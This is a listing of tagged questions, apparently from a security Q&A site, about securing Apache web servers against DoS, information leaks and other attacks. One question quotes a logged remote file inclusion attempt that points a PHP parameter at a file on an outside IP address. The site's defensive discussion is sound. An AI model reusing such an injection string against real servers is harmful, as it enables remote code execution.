Tagged Questions
5
votes
3answers
178 views
How to block an IP, if getting many http requests in a second
If some one tried force burst attack on my website, how can I block them?
I mean, I want to block an IP if I have many http/Apache requests in a second.
Thanks in advance.
4
votes
3answers
276 views
Server root attack?
Someone in Hungary tried something odd recently:
/?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?
This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
0
votes
2answers
151 views
Is there an easy way to secure Apache on debian?
I run an Apache webserver with lots of PHP-sites of several customers.
I tried install apache-mod_security2 after this (german) tutorial
that is using these rulesets: ...
0
votes
0answers
67 views
Client Side Negotiation
I have -MultiViews set and SSLInsecureNegotation off ( in ifmodule of mod_ssl.c) in Apache.
But still vulnerability report says I am vulnerable to client side renegotiation and "This server is ...
0
votes
2answers
222 views
Weird IP addresses showing up on my server
I have a personal server located in the US, I use it to execute code which requires a lot of resources. I sometimes have apache running on my server, to test php code. I recently left my apache server ...
3
votes
2answers
361 views
How to counter or fix banner grabbing vulnerability
During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
0
votes
1answer
265 views
What security concerns exist in running a glassfish app directly on port 443
I have installed Apache http server in front of glassfish based on recommendations i had in this question.
I have been told that i will run into performance problems along with security issues. I was ...
8
votes
2answers
553 views
HSTS extra security over HTTPS
Is HSTS good to use even if my servers are configured to use HTTPS (Even if HTTP is used, the rewrite rules in apache makes it to HTTPS)
Also does HSTS make even the resources like CSS, images to be ...
2
votes
1answer
290 views
What attacks use enabled Apache's PATH_INFO?
In Tangled Web Michal Zalewski says:
If you are not using path-based parameter passing (such as PATH_INFO), consider disabling this feature.
He gave only one example of this vulnerability. There ...
7
votes
4answers
2k views
Protecting against DOS attacks
Our current site is easily DOS'd. I can perform an AB test against it from Apache and it disappears for about 5-10 minutes. We have been having problems with others DOSing the site - to the point ...
8
votes
4answers
3k views
How safe is it to install XAMPP on my home computer to test PHP code?
I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer.
Is it generally safe to install XAMPP (given that I ...
8
votes
4answers
762 views
Combat Apache Killer
Three days ago, KingCope released a simple Perl script to DoS Apache, aptly named Apache Killer.
This script launches about 50 threads to request Partial Content from the server with optional GZIP ...
9
votes
4answers
778 views
Can .htaccess and .htpasswd really protect me?
I want to set up a kind of personal wiki where I can store various sensitive information. However to make it 100% portable and and just plain convineant, I want to put it on the Internet. I'm sure at ...
7
votes
2answers
998 views
Securing my web-server / website [closed]
Does anyone know of a comprehensive security guide about important basics / fundamentals which should be done to secure a web-server / website? A web link would do.
6
votes
3answers
385 views
Is displaying what server I am running on the error pages a security risk?
I just noticed that my 403 Forbidden (the default, not a custom one) page displays some server info:
Apache/2.2.3 (Red Hat) Server at ... Port 80
Is revealing this information a security risk?
58
votes
12answers
10k views
Apache Server Hardening
What are some best practices, recommendations, required reading for securing an Apache Server?
